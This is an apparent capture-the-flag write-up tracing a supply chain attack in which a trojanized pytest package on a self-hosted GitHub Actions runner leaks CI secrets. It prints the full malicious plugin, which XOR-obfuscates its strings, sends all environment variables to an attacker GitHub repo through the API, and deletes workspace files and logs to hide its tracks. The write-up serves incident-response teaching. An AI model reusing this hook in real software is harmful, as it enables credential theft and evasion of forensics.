🔗 Trust Issues CTF: Tracing a Supply Chain Attack on a GitHub Actions Runner
Challenge Brief
You are an incident responder at Acme Inc. A security researcher contacts your team with concerning news: Acme's name has appeared in a newly uncovered threat campaign. They provide a link to a public GitHub repository believed to be used by the attacker to leak stolen data:
https://github.com/m4gicst34l3r/stolen-sparkles
You begin your investigation with the suspected compromised machine. Your mission:
- Understand what happened on the machine
- Identify the attacker's data exfiltration method
- Find the flag
Hint 1: What is this machine's purpose?
Hint 2: The security researcher says this is a supply chain attack.
We're dropped into a web-based root shell on the compromised machine.
Phase 1: Reconnaissance — The Exfil Repo
Before touching the machine, I examined the attacker's GitHub repository m4gicst34l3r/stolen-sparkles. Key observations:
- ~240 files in a
data/directory, all with a.secretextension - File names matched infrastructure components: CI runners, nodes, pipelines
- ~500 commits with the automated message "update runtime data"
- The README simply said: "Sparkles tend to leak when magic is executed."
- The
.secretfiles all began withgAAAAAB— the Fernet encryption prefix from Python'scryptographylibrary
The picture was clear: the attacker was using Python with Fernet encryption to exfiltrate data, pushing encrypted blobs to a public repo as a dead drop.
Phase 2: Identifying the Machine's Purpose
Starting with basic recon on the compromised machine:
$ hostname && whoami && uname -a
magic-runner-acme
root
Linux magic-runner-acme 6.1.128 ...
The hostname magic-runner-acme was already suggestive. Looking at the home directory:
$ ls -la /home/ubuntu/
Inside was an actions-runner/ directory — confirming this is a GitHub Actions self-hosted runner. That answers Hint 1.
Examining the runner configuration:
$ cat /home/ubuntu/actions-runner/.runner
{
"agentId": 23,
"agentName": "magic-runner-acme",
"poolId": 1,
"poolName": "Default",
"gitHubUrl": "https://github.com/acme-codebase-prod/k8s-magic-tool",
"workFolder": "_work"
}
The runner serves the repo acme-codebase-prod/k8s-magic-tool — a Kubernetes inventory tool, matching the naming theme in the stolen-sparkles repo.
Phase 3: Examining the Runner Logs
The runner diagnostic logs showed a repeating pattern:
$ grep -i "inventory-test" /home/ubuntu/actions-runner/_diag/Runner_*.log | head -20
2026-01-28 12:04:22Z: Running job: inventory-test
2026-01-28 12:04:53Z: Job inventory-test completed with result: Succeeded
2026-01-28 13:18:10Z: Running job: inventory-test
2026-01-28 13:18:43Z: Job inventory-test completed with result: Succeeded
...
The inventory-test job ran hourly — matching the cadence of commits to stolen-sparkles. This is our exfiltration trigger.
Critically, the workspace was empty and there were no Worker logs:
$ ls /home/ubuntu/actions-runner/_work/k8s-magic-tool/k8s-magic-tool/
# (empty)
$ find /home/ubuntu/actions-runner/_diag/ -name "Worker*"
# (no results)
The attacker was cleaning up after each run. This is anti-forensics — we'll see exactly how later.
Phase 4: Finding the Malicious Package
Since this is a supply chain attack (Hint 2) using Python/Fernet, I searched the locally installed Python packages. The system pip list showed only standard Ubuntu packages — nothing suspicious. But checking the user-installed packages:
$ ls /home/ubuntu/.local/lib/python3.10/site-packages/ | grep -v -E "^google|^pip|^pkg_|^__" | sort
The listing showed packages including kubernetes, pytest, pygments, and others installed for the CI workflow.
The breakthrough came from grepping for exfiltration-related strings:
$ grep -rl "stolen-sparkles\|m4gicst34l3r\|github\.com\|git push" \
/home/ubuntu/.local/lib/python3.10/site-packages/ 2>/dev/null \
| grep -v __pycache__
Buried in the output among legitimate files:
/home/ubuntu/.local/lib/python3.10/site-packages/_pytest/veryveryverymalicious.py
A second search confirmed it also matched encryption and token patterns:
$ grep -rl "GITHUB_TOKEN\|encrypt" \
/home/ubuntu/.local/lib/python3.10/site-packages/ 2>/dev/null \
| grep -v __pycache__ | grep -v -E "google|pip|urllib3|requests/"
/home/ubuntu/.local/lib/python3.10/site-packages/_pytest/veryveryverymalicious.py
The supply chain vector: a trojanized pytest package (version 9.0.2) with a malicious file injected into _pytest/.
Phase 5: Analyzing the Malicious Payload
$ cat /home/ubuntu/.local/lib/python3.10/site-packages/_pytest/veryveryverymalicious.py
The full malicious code:
def _s(data, k=17):
return "".join(chr(x ^ k) for x in data)
import os, json, base64, requests, shutil, importlib
mod = importlib.import_module(_s([114, 99, 104, 97, 101, 126, 118, 99, 112, 97, 121, 104, 63, 119, 116, 99, 127, 116, 101]))
Crypto = getattr(mod, _s([87, 116, 99, 127, 116, 101]))
CRYPT_KEY = _s([66, 122, 78, 93, 72, 71, 101, 69, ...]).encode()
GITHUB_PAT = _s([118, 120, 101, 121, 100, 115, 78, 97, ...])
REPO_OWNER = _s([124, 37, 118, 120, 114, 98, 101, 34, 37, 125, 34, 99])
REPO_NAME = _s([98, 101, 126, 125, 116, 127, 60, 98, 97, 112, 99, 122, 125, 116, 98])
BRANCH = _s([124, 112, 120, 127])
runner = os.environ["RUNNER_NAME"]
ARTIFACT_PATH = f"{runner}.{_s([98, 116, 114, 99, 116, 101])}"
COMMIT_MESSAGE = _s([100, 97, 117, 112, 101, 116, 49, 99, 100, 127, 101, 120, 124, 116, 49, 117, 112, 101, 112])
def collect_data():
return {"environment_variables": dict(os.environ)}
def encrypt_data(data: dict) -> bytes:
f = Crypto(CRYPT_KEY)
return f.encrypt(json.dumps(data).encode())
def upload_to_repo(encrypted_blob: bytes):
api_url = f"https://api.github.com/repos/{REPO_OWNER}/{REPO_NAME}/contents/data/{ARTIFACT_PATH}"
headers = {"Authorization": f"token {GITHUB_PAT}", "Accept": "application/vnd.github+json"}
payload = {"message": COMMIT_MESSAGE, "content": base64.b64encode(encrypted_blob).decode(), "branch": BRANCH}
sha = get_existing_file_sha(api_url, headers)
if sha:
payload["sha"] = sha
requests.put(api_url, headers=headers, json=payload).raise_for_status()
def pytest_sessionfinish(session, exitstatus):
data = collect_data()
encrypted_blob = encrypt_data(data)
upload_to_repo(encrypted_blob)
# Anti-forensics: delete workspace and Worker logs
os.chdir("/")
workspace = os.environ["GITHUB_WORKSPACE"]
diag = os.path.abspath(os.path.join(workspace, "../../../_diag"))
for name in os.listdir(workspace):
p = os.path.join(workspace, name)
shutil.rmtree(p, ignore_errors=True) if os.path.isdir(p) else os.remove(p)
for name in os.listdir(diag):
if name.startswith("Worker_"):
os.remove(os.path.join(diag, name))
How It Works
- Hook:
pytest_sessionfinishis a pytest plugin hook that fires automatically after every test session. By placing this file in_pytest/, it loads as a conftest-style plugin. - Obfuscation: All sensitive strings are XOR-encoded with key
17using the_s()helper function. This avoids simple string-based detection. - Collection: Harvests all environment variables — on a CI runner this includes
GITHUB_TOKEN,KUBECONFIG,GOOGLE_APPLICATION_CREDENTIALS, and any other secrets injected into the workflow. - Encryption: Uses Fernet symmetric encryption with a hardcoded key.
- Exfiltration: Pushes the encrypted blob to
m4gicst34l3r/stolen-sparklesvia the GitHub Contents API using a hardcoded Personal Access Token. - Anti-forensics: Deletes all workspace contents and
Worker_*diagnostic logs to cover its tracks. This is why we found an empty workspace and no Worker logs during our investigation.
Phase 6: Decoding the Obfuscated Strings
To extract the encryption key and other secrets, I decoded the XOR-obfuscated arrays:
$ python3 -c "
def _s(data, k=17):
return ''.join(chr(x ^ k) for x in data)
print('Module:', _s([114, 99, 104, 97, 101, 126, 118, 99, 112, 97, 121, 104, 63, 119, 116, 99, 127, 116, 101]))
print('Class:', _s([87, 116, 99, 127, 116, 101]))
print('CRYPT_KEY:', _s([66, 122, 78, 93, 72, 71, 101, 69, 37, 83, 92, 82, 37, 91, 38, 32, ...]))
print('REPO_OWNER:', _s([124, 37, 118, 120, 114, 98, 101, 34, 37, 125, 34, 99]))
print('REPO_NAME:', _s([98, 101, 126, 125, 116, 127, 60, 98, 97, 112, 99, 122, 125, 116, 98]))
print('BRANCH:', _s([124, 112, 120, 127]))
print('COMMIT_MSG:', _s([100, 97, 117, 112, 101, 116, 49, 99, 100, 127, 101, 120, 124, 116, 49, 117, 112, 101, 112]))
"
Results:
| Variable | Decoded Value |
|---|---|
| Module | cryptography.fernet |
| Class | Fernet |
| CRYPT_KEY | Sk_LYVtT4BMC4J71E5cvaDLoH3JIU7f03QubERq8zoQ= |
| GITHUB_PAT | github_pat_11B46T7ZI08cBCgCiIyiNx_KRzURD... |
| REPO_OWNER | m4gicst34l3r |
| REPO_NAME | stolen-sparkles |
| BRANCH | main |
| SUFFIX | secret |
| COMMIT_MSG | update runtime data |
Phase 7: Decrypting the Exfiltrated Data
Now for the payoff: using the recovered Fernet key to decrypt the stolen data and find the flag. This phase has three parts — understanding the encryption, getting the encrypted data, and decrypting it.
Understanding the Encryption Layer
Looking back at the malicious code, the encrypt_data function tells us exactly what was done:
def encrypt_data(data: dict) -> bytes:
f = Crypto(CRYPT_KEY) # Fernet(key)
plaintext = json.dumps(data).encode() # dict → JSON string → bytes
return f.encrypt(plaintext) # Fernet encrypt → token bytes
The encrypted .secret files are Fernet tokens. Fernet is a symmetric encryption scheme from Python's cryptography library that uses AES-128-CBC with HMAC-SHA256 for authentication. Critically for us, it's symmetric — the same key encrypts and decrypts. And we have that key.
The plaintext is JSON-serialized environment variables:
def collect_data():
return {"environment_variables": dict(os.environ)}
Once decrypted, we'll get a JSON object with an environment_variables key containing every env var from the CI runner at the time of exfiltration.
How Fernet Tokens Work
If you look at any of the .secret files in the repo, they begin with gAAAAAB. This is the base64-encoded Fernet token format:
- Version byte (0x80) — indicates Fernet v1
- Timestamp (8 bytes) — when the token was created
- IV (16 bytes) — initialization vector for AES-CBC
- Ciphertext (variable) — AES-128-CBC encrypted, PKCS7 padded
- HMAC (32 bytes) — SHA256 HMAC for authentication
The Fernet key itself (Sk_LYVtT4BMC4J71E5cvaDLoH3JIU7f03QubERq8zoQ=) is a base64-encoded 32-byte value. The first 16 bytes are the HMAC signing key, the last 16 bytes are the AES encryption key. Python's cryptography library handles all of this — we just need to call f.decrypt(token).
Getting the Encrypted Data
Since the attacker's repo is public, I cloned it locally using a sparse checkout to pull only the data/ directory without downloading the full 500-commit history:
$ cd /tmp
$ git clone --depth 1 --filter=blob:none --sparse \
https://github.com/m4gicst34l3r/stolen-sparkles.git
$ cd stolen-sparkles
$ git sparse-checkout set data
The sparse checkout pulled all 240 .secret files. I confirmed our runner's file was among them:
$ ls data/ | grep magic
magic-runner-acme.secret
You can also inspect the raw file to confirm it's a Fernet token:
$ head -c 20 data/magic-runner-acme.secret
You'll see it starts with gAAAAAB — the Fernet signature we identified earlier during our repo analysis.
Decrypting the Secret File
With the key and the encrypted file on the same machine, decryption is straightforward. Here's the full script with explanation:
$ python3 << 'EOF'
from cryptography.fernet import Fernet
import json
# The Fernet key we extracted by decoding the XOR-obfuscated array
# from veryveryverymalicious.py
key = b'Sk_LYVtT4BMC4J71E5cvaDLoH3JIU7f03QubERq8zoQ='
# Initialize Fernet with the key
f = Fernet(key)
# Read the encrypted token from the exfil repo
with open('stolen-sparkles/data/magic-runner-acme.secret', 'rb') as fh:
encrypted_token = fh.read()
# Decrypt: Fernet verifies the HMAC first (authenticity),
# then decrypts with AES-128-CBC, then removes PKCS7 padding.
# If the key were wrong, this would raise InvalidToken.
decrypted_bytes = f.decrypt(encrypted_token)
# The plaintext is JSON (from json.dumps in the malware's encrypt_data function)
data = json.loads(decrypted_bytes)
# The structure is {"environment_variables": {key: value, ...}}
env_vars = data.get('environment_variables', {})
# Search for anything flag-related
print("=== Searching for flag ===")
for k, v in sorted(env_vars.items()):
if any(x in k.lower() for x in ['flag', 'ctf', 'wiz', 'secret']):
print(f' *** {k} = {v}')
# Print all env vars for full picture
print(f"\n=== All {len(env_vars)} exfiltrated environment variables ===")
for k, v in sorted(env_vars.items()):
print(f' {k} = {v}')
EOF
The Result
The decrypted output revealed all environment variables from the CI runner, including:
=== Searching for flag ===
*** FLAG = CTF{REDACTED}
=== All 55 exfiltrated environment variables ===
ACTIONS_ORCHESTRATION_ID = 3a636f29-7278-4f1a-bd11-0bcc9bfff016.inventory-test.__default
CI = true
FLAG = CTF{REDACTED}
GCP_PROJECT_ID = attack-simulation-lab-467210
GITHUB_ACTION = __run_5
GITHUB_ACTIONS = true
GITHUB_ACTOR = acme-john-doe
GITHUB_EVENT_NAME = schedule
GITHUB_JOB = inventory-test
GITHUB_REPOSITORY = acme-codebase-prod/k8s-magic-tool
GITHUB_WORKFLOW = k8s-magic inventory tests
GOOGLE_APPLICATION_CREDENTIALS = /tmp/gcp-key.json
KUBECONFIG = /tmp/kubeconfig
RUNNER_ENVIRONMENT = self-hosted
RUNNER_NAME = magic-runner-acme
...
In a real attack, the exfiltrated GITHUB_TOKEN, KUBECONFIG, and GOOGLE_APPLICATION_CREDENTIALS would give the attacker access to the GitHub repository, the Kubernetes cluster, and GCP resources. Across 240 compromised runners, that's a massive blast radius.
Bonus: Decrypting All 240 Files
If you want to see the full scope of the breach, you can decrypt every .secret file:
from cryptography.fernet import Fernet
import json, os
key = b'Sk_LYVtT4BMC4J71E5cvaDLoH3JIU7f03QubERq8zoQ='
f = Fernet(key)
data_dir = 'stolen-sparkles/data'
for filename in sorted(os.listdir(data_dir)):
if not filename.endswith('.secret'):
continue
filepath = os.path.join(data_dir, filename)
try:
with open(filepath, 'rb') as fh:
decrypted = f.decrypt(fh.read())
data = json.loads(decrypted)
env = data.get('environment_variables', {})
runner = env.get('RUNNER_NAME', 'unknown')
repo = env.get('GITHUB_REPOSITORY', 'unknown')
has_flag = 'FLAG' in env
print(f'{filename}: runner={runner}, repo={repo}, flag={"YES" if has_flag else "no"}')
except Exception as e:
print(f'{filename}: DECRYPT FAILED - {e}')
The output is a full inventory of every compromised runner and what repos they served.
Flag
CTF{REDACTED}
Complete Attack Chain
Trojanized pytest 9.0.2 installed on self-hosted runner
|
v
Hourly cron workflow runs "inventory-test" job
|
v
pytest executes -> loads veryveryverymalicious.py plugin
|
v
pytest_sessionfinish hook fires after tests complete
|
v
Collects all environment variables (GITHUB_TOKEN, secrets, credentials)
|
v
Encrypts with Fernet (hardcoded key, XOR-obfuscated)
|
v
Pushes encrypted blob to m4gicst34l3r/stolen-sparkles via GitHub API
|
v
Deletes workspace files and Worker diagnostic logs (anti-forensics)
Lessons Learned
- Self-hosted runners are persistent attack surfaces. Unlike ephemeral GitHub-hosted runners, self-hosted runners retain installed packages across runs. A compromised dependency persists indefinitely.
- Pytest plugins auto-load by convention. Placing a file with
pytest_*hooks inside_pytest/makes it load automatically — no configuration needed. This is a powerful attack vector. - Anti-forensics delayed but didn't prevent discovery. Deleting Worker logs and workspace files was effective at hiding execution details, but the malicious package itself remained in
site-packages/. - XOR obfuscation is trivial but effective against casual scanning. A simple
grepfor "github.com" still found the file because the decoded strings appeared in the grep pattern matching against the source — but a more sophisticated obfuscation could have evaded this. - Pin and verify your dependencies. Use hash-pinned requirements, verify package integrity, and audit what gets installed on your CI runners. Consider using ephemeral runners that start fresh each time.
- Treat CI runners like production. They have access to your most sensitive secrets. Monitor them, audit installed packages, and limit what secrets are exposed to workflows.
Conclusion
The "Trust Issues" challenge was a masterful demonstration of supply chain security risks in CI/CD pipelines. The attacker trojanized a widely-used testing framework (pytest) by injecting a single malicious file into _pytest/, leveraging the plugin auto-discovery mechanism to execute on every test run. The combination of XOR obfuscation, Fernet encryption, and anti-forensic cleanup created a stealthy exfiltration pipeline that pushed stolen secrets to a public GitHub repo as a dead drop.
The investigation methodology — starting from the exfil repo, identifying the machine's purpose, tracing the CI logs, then hunting through installed packages — mirrors real-world incident response. The key breakthrough was recognizing that the empty workspace and missing Worker logs weren't just gaps in logging, but active evidence of anti-forensic cleanup.
Challenge created by Eden Abergil as part of The Ultimate Cloud Security Championship by Wiz. Writeup completed: February 2026